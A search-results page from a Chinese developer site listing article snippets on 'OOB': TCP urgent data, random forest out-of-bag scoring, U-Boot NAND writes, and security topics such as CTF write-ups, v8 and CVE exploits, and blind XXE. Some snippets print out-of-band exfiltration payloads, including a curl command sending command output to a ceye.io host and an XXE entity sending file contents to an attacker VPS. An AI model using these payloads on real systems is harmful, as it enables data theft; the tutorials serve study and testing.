学习
实践
活动
工具
TVP
写文章

如何处理 tcp 紧急数据(OOB)?

然后就没有然后了…… 毕业这么多年了,回想一下,还真是没有接触过 OOB 的场景,更没有实地发送、接收过 OOB。那么到底该怎样处理 OOB 呢?OOB 在所谓的紧急情况下是否有用呢?下面一一道来。 发送 OOB 首先产生 OOB 是非常简单的,只需要在寻常 send 的最后一个参数,加入 MSG_OOB 标志位: ret = send (sockfd, ptr, n, MSG_OOB); 如果考虑一个完整的测试场景 需要注意的是,目前只有 TCP 支持 OOB,UDP 没所谓顺序,更没所谓带内带外之分,所以也没有 OOB;另外 TCP 目前大多数实现只支持 1 字节 OOB,大于 1 字节的 OOB,只有最后一字节会被当为 接收 OOB 接收 OOB 共有三种方法。 1. 使用 SO_OOBINLINE 标志位将 OOB 作为惯常数据处理 这种方法是将 OOB 数据当作惯常数据接收,在接收前通过判断哪些是普通数据哪些是 OOB 数据,具体步骤如下: a) 新连接建立时,设置套接字选项

7630

搭建反连平台检测oob漏洞

这样payload.com的域名解析请求将由nameserver.com完成,同时将nameserver.com指向你的反连平台1.1.1.1

6430
  • 广告
    关闭

    年末·限时回馈

    热卖云产品年终特惠,2核2G轻量应用服务器6.58元/月起,更多上云必备产品助力您轻松上云

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    OOB(out of band)分析系列之DNS渗漏

    OOB SQL注入类型细分,分为以下5种: 共计3大类: 这篇文章的主题是out of band,即OOB。 它与我们熟知的inband类的注入相反。 17,720.51 Error-based 777 9.02 Union (full/partial) 3/136 0.70/2.50 DNS exfiltration 1,409 35.31 数据来源 我们的主角OOB 当你遇到了某些很隐蔽的注入点,inband类注入没办法用,inference类注入被你嫌弃太慢的时候,OOB就是你最好的选择了。 结语 实际上OOB的方法很多,但是大部分都是实战意义不高的技术。比如利用icmp和电子邮件或者http头来偷数据。如果有人有兴趣,我会全部写一遍的。

    88260

    RCE+OOB+一道HCTF实战

    故此可以打出任意行,任意长度的信息 实战例题 题目来自安恒秋季赛决赛的python PIL 拿到题目后,先谷歌一波,搜到了CVE: GhostButt CVE-2017-8291 然后使用了Ph牛的POC : https://github.com/vulhub/vulhub/blob/master/python/PIL-CVE-2017-8291/poc.png 阅读readme: 比如poc.png,我们上传之 乍一听可能比较难以理解,话不多说,我们直接从题目中学习: 实战演练 题目来自10月份的XCTF联赛中的HCTF,题目的破解正是应用了OOB(out of band),利用dns偷走数据 1.1 题目描述 you get}

    "; error_reporting(E_ALL^E_NOTICE^E_WARNING); try { $conn = new PDO( "sqlsr","oob > 可以知道三个关键点: 第一点: try { $conn = new PDO( "sqlsr","oob", ""); } 使用了PDO,且提示了oob,其中PDO是可以堆叠执行sql的,oob

    521100

    从CVE-2018-4441看jsc的OOB利用

    image.png 作者最近研究了safari浏览器javascriptCore引擎的一个OOB漏洞CVE-2018-4441,虽然这是一个比较老的漏洞,但是研究这个漏洞还是能学到不少东西。 这里介绍了jsc环境搭建的方法和jsc一些基本调试技巧,详细分析了CVE-2018-4441的漏洞成因和lokihardt堆喷修改数组长度构成OOB的方法,希望读者读完能有所收获。 随后的漏洞利用分析中可以看到这里调用memmove处理新的storage就是导致OOB的根本原因。      arr.length=m_numValuesInVector 导致arr->hasHoles判断为假,进而在unshiftCountWithArrayStorage中使用memmove更新storage时导致OOB lokihardt的原版有修改,去掉了lokihardt利用unboxed2和boxed2指向相同内存构造第二个fakeobj和addrof原语的部分(作者认为这一部分或许是lokihardt为了显示OOB

    14330

    初识v8之starctf2019-oob

    SatrCtf2019-oob 数组对象的结构 这里简单讲解一下做这一题需要的前置知识。 首先我们需要了解v8中的对象的结构,以一个Float数组Float_Array为例来讲解。 diff文件分析 有了以上的知识,我们就可以开始看我们的题目了,题目给了一个名叫oob.diff的文件,打开文件发现前面有一个名为SimpleInstallFunction的东西,结合网上对于JavaScript API的资料可以分析出题目是自己实现了一个名为oob的函数,实现的具体细节在22-42行: +BUILTIN(ArrayOob){ + uint32_t len = args.length(); /test.js,然后run就行了: 可以看见我们图中的泄露出来的Map值是完全没有问题的,这里讲一下这部分的核心,也就是: var obj_hidden = obj_array.oob(); var Fixed Array的下一个内存单元,存放的是Map,也就是说通过xxx.oob(),就可以泄露出相应的Map。

    5730

    带外攻击OOB(命令执行无回显骚思路总结)

    带外攻击(OOB) 服务器用来测试盲的各种漏洞的话,则需要我们外部的独立服务器参数,也就是带入了外部的服务器,我们叫它带外攻击。这里简单的提了一下这个带内和带外,我们只要理解其过程即可。 带外数据 传输层协议使用带外数据(out-of-band,OOB)来发送一些重要的数据,如果通信一方有重要的数据需要通知对方时,协议能够将这些数据快速地发送到对方。 OOB.jpg 基本回显思路 对于出网机器   使用http传输,如wget,curl,certutil将回显信息爬出    优点:方便,回显全。     cmd=curl http://XXXXXX.ceye.io/`ls -al |cut -c 3-10` 2.burpsuit Collaborator Client模块回显(带外攻击OOB) 打开

    1.2K40

    绕过WAF限制利用php:方法实现OOB-XXE漏洞利用

    几个星期以前,作者在某个OOB-XXE漏洞测试中遇到过这样一种场景:目标应用后端系统WAF防火墙阻挡了包含DNS解析在内的所有出站请求(Outgoing Request),但最终,通过利用php://filter //的封装协议,作者成功实现了OOB-XXE漏洞测试。

    74920

    从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)

    作者:Hcamael@知道创宇404实验室 相关阅读: 从 0 开始学 V8 漏洞利用之环境搭建(一) 从 0 开始学 V8 漏洞利用之 V8 通用利用链(二) 我是从starctf 2019的一道叫OOB /starctf2019/pwn-OOB/oob.diff $ gclient sync -D $ gn gen out/x64_startctf.release --args='v8_monolithic /starctf2019/pwn-OOB/oob.diff,就能使用build.sh 6dc88c191f5ecc5389dc26efa3ca0907faef3598 starctf2019一键编译。 漏洞点 源码我就不分析了,因为这题是人为造洞,在obb.diff中,给变量添加了一个oob函数,这个函数可以越界读写64bit。 浮点型数组的结构之前的文章说了,在value之后就是该变量的结构内存区域,所以使用a.oob()可以越界读64bit,就可以读写该变量的map地址,并且在该版本中,地址并没有被压缩,是64bit。

    30030

    CVE-2020-27897:APPLE MACOS内核OOB写入权限提升漏洞

    就在前几天,Zero Day Initiative曾发布过六份关于苹果macOS中安全漏洞的公告,其中有一条公告涵盖了一个由 ABC Research s.r....

    48320

    机器学习入门 13-4 oob(Out-of-Bag)和关于Bagging的更多讨论

    OOB 本小节来介绍更多和 Bagging 相关的内容,首先对于 Bagging 这种集成学习来说,有一个非常重要的概念叫做 OOB(Out-of-Bag)。 这 37% 的样本通常被称为 OOB(Out-of-Bag)。 此时为 True,即采用有放回 Bagging 的方式; oob_score:是否使用 OOB,默认为 False,不使用 OOB。 此时为 True,即使用 OOB; 在 sklearn 中使用 OOB,除了需要使用 Bagging 集成学习的方式(boostrap = True)之外,还需要在实例化集成学习时指定 oob_score bagging_clf.oob_score_ # 0.918 Bagging 的并行化处理 Bagging 这种集成学习的方式是极易进行并行化处理的。

    1.4K21

    机器学习入门 13-4 OOB和关于Bagging的更多讨论

    OOB 本小节来介绍更多和 Bagging 相关的内容,首先对于 Bagging 这种集成学习来说,有一个非常重要的概念叫做 OOB(Out-of-Bag)。 这 37% 的样本通常被称为 OOB(Out-of-Bag)。 此时为 True,即采用有放回 Bagging 的方式; oob_score:是否使用 OOB,默认为 False,不使用 OOB。 此时为 True,即使用 OOB; 在 sklearn 中使用 OOB,除了需要使用 Bagging 集成学习的方式(boostrap = True)之外,还需要在实例化集成学习时指定 oob_score References: Python3入门机器学习 经典算法与应用: https://coding.imooc.com/class/chapter/169.html#Anchor

    27930

    记一次利用BLIND OOB XXE漏洞获取文件系统访问权限的测试

    今天,我要和大家分享的是,我在某个邀请漏洞测试项目中,发现Bind OOB XXE漏洞的方法。由于涉及隐私,以下文章中涉及网站域名的部分我已作了编辑隐藏,敬请见谅。 xxe-ftp-server.rb脚本应用 由于该系统使用了java框架,而俄罗斯OnSec实验室曾针对Java程序的XXE-OOB攻击作出了相关研究,并给出相应的payload,以及一个通过ftp服务读取系统目录的漏洞利用脚本 xxe-ftp-server.rb,运行该脚本后,8088端口作为http服务端负责获取OOB攻击payload,而8077端口用于ftp连接服务,最终能成功读取到目标系统目录: ?

    58550

    Web漏洞|XXE漏洞详解(XML外部实体注入)

    目录 XXE XXE漏洞演示利用(任意文件读取) Blind OOB XXE 目录浏览和任意文件读取 端口扫描 远程代码执行 XXE漏洞的挖掘 XXE的防御 ---- 在学习 遇到这种情况,可以实现OOB(out-of-band)信息传递和通过构造dtd从错误信息获取数据。无论是OOB、还是基于错误的方式,都需要引入外部DTD文件。 OOB(Out-Of-Band):我们可以使用 Blind XXE 漏洞来构建一条外带数据OOB(Out-Of-Band)通道来读取数据。 ENTITY % send SYSTEM 'http://VPS的地址:2121/%file;'>"> %all; 然后在VPS上用python在2121端口起另一个http服务 POST DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python

    17310

    机器学习入门 13-5 随机森林和Extra-Trees

    这其中: n_estimators,随机森林中决策树的个数; oob_socre,是否使用 oob 的那些样本对整个集成学习模型进行评估; random_state,随机种子。 rf_clf.oob_score_ # 0.892 Extra-Trees Extra-Trees (Extremely randomized trees,极度随机树) 方法和随机森林非常相似,有时也会将 使用 oob 样本对集成学习模型进行评估。 et_clf.oob_score_ # 0.892 集成学习解决回归问题 前面介绍了很多集成学习方法,不过在具体实例中,解决的都是分类问题,其实集成学习也是能够解决回归问题的。 References: Python3入门机器学习 经典算法与应用: https://coding.imooc.com/class/chapter/169.html#Anchor

    2.4K30

    S3C2440移植uboot之支持烧写yaffs映像及制作补丁

    rval = nand->write_oob(nand, offset, &ops); //调用nand_write_oob()函数烧写OOB if (! 将上面的MTD_OOB_AUTO改为MTD_OOB_RAW (表示支持烧写OOB数据,用来存放yaffs参数)   因为MTD_OOB_AUTO,使自动填入OOB,不填入yaffs文件里的数据,从而启动不了内核 rval) 改为if (rval)   因为nand->write_oob()函数里面,烧写正确时,是返回的一个非整数.    然后使用nand dump 260000,与yaffs文件对比,可以看到OOB已经烧写成功 ?    oob数据,若是yaffs文件,则会存放yaffs参数,所以才要修改1.2小节的代码   bit40~63:存放ecc校验值,该页的每256B字节,就会生成3字节数据存放到ecc里 具体参考nand_oob

    18230

    随机森林算法及其实现(Random Forest)

    2 随机森林的特点 3 随机森林的相关基础知识 4 随机森林的生成 5 袋外错误率(oob error) 6 随机森林工作原理解释的一个简单例子 7 随机森林的Python实现 8 参考内容 1 什么是随机森林 你可以在这找到用python实现集成学习的文档:Scikit 学习文档。 4 随机森林的生成   前面提到,随机森林中有许多的分类树。 5 袋外错误率(oob error)   上面我们提到,构建随机森林的关键问题就是如何选择最优的m,要解决这个问题主要依据计算袋外错误率oob error(out-of-bag error)。    ;   3)最后用误分个数占样本总数的比率作为随机森林的oob误分率。    7 随机森林的Python实现   利用Python的两个模块,分别为pandas和scikit-learn来实现随机森林。

    10120

    6.移植uboot-支持yaffs烧写

    ops.mode = MTD_OOB_AUTO; //这里需要修改 ... ... rval = nand->write_oob(nand, offset, &ops); //调用nand_write_oob()函数烧写OOB if (! MTD_OOB_AUTO改为MTD_OOB_RAW (表示支持烧写OOB数据,用来存放yaffs参数) 因为MTD_OOB_AUTO,使自动填入OOB,不填入yaffs文件里的数据,从而启动不了内核 3 rval) 改为if (rval) 因为nand->write_oob()函数里面,烧写正确时,是返回的一个非整数. 1.3然后使用nand dump 260000,与yaffs文件对比,可以看到OOB 对于64B的OOB而言,数据定义如下所示: bit0:表示该块的数据是否为坏,若为0xFF表示好的,0x00则是坏的 (一块=64页) bit1:暂时没用到 bit2~39:表示用来存放oob数据,若是

    50510

    特征选择的几种方法

    Relief算法python实现:https://blog.csdn.net/qq_40871363/article/details/86511843 2、包裹法(Wrapper) 2.1 递归特征消除法 以随机森林为例: 对随机森林中的每一颗决策树,用OOB(袋外数据)计算误差errOOB1; 对OOB所有样本特征X加上噪声干扰,再次计算误差errOOB2; N棵树,特征X的重要性= 若某个特征加上噪声后 sklearn中会对每个特征赋予一个分数,分数越大,特征越重要,因此,可以根据特征重要性排序,然后选择最佳特征组合; RandomForestClassifier(n_estimators=200,oob_score =True) oob_score : bool (default=False) Whether to use out-of-bag samples to estimate the generalization oob_score: bool(默认=False) 是否使用袋外样品进行估算 泛化精度。 3、嵌入法(Embedded) 嵌入特征选择方法和算法本身紧密结合,在模型训练过程中完成特征选择。

    18910

    【说站】python字符串的基础操作

    python字符串的基础操作 1、字符串可以进行赋值。 xxxx' str1="xxxx" 如果特殊字符,需要使用反斜杠来进行转义,       例:str="xxx\nccc"        print(str)   //输出是两行,第一行是Ru,第二行是oob 例: a="abcdefg"      print(a+"123") //输出是abcdefg123      print(a*2) //输出是abcdefgabcdefg 4、python的字符串是不可变的 以上就是python字符串的基础操作,希望对大家有所帮助。更多Python学习指路:python基础教程 本文教程操作环境:windows7系统、Python 3.9.1,DELL G3电脑。

    6240

    扫码关注腾讯云开发者

    领取腾讯云代金券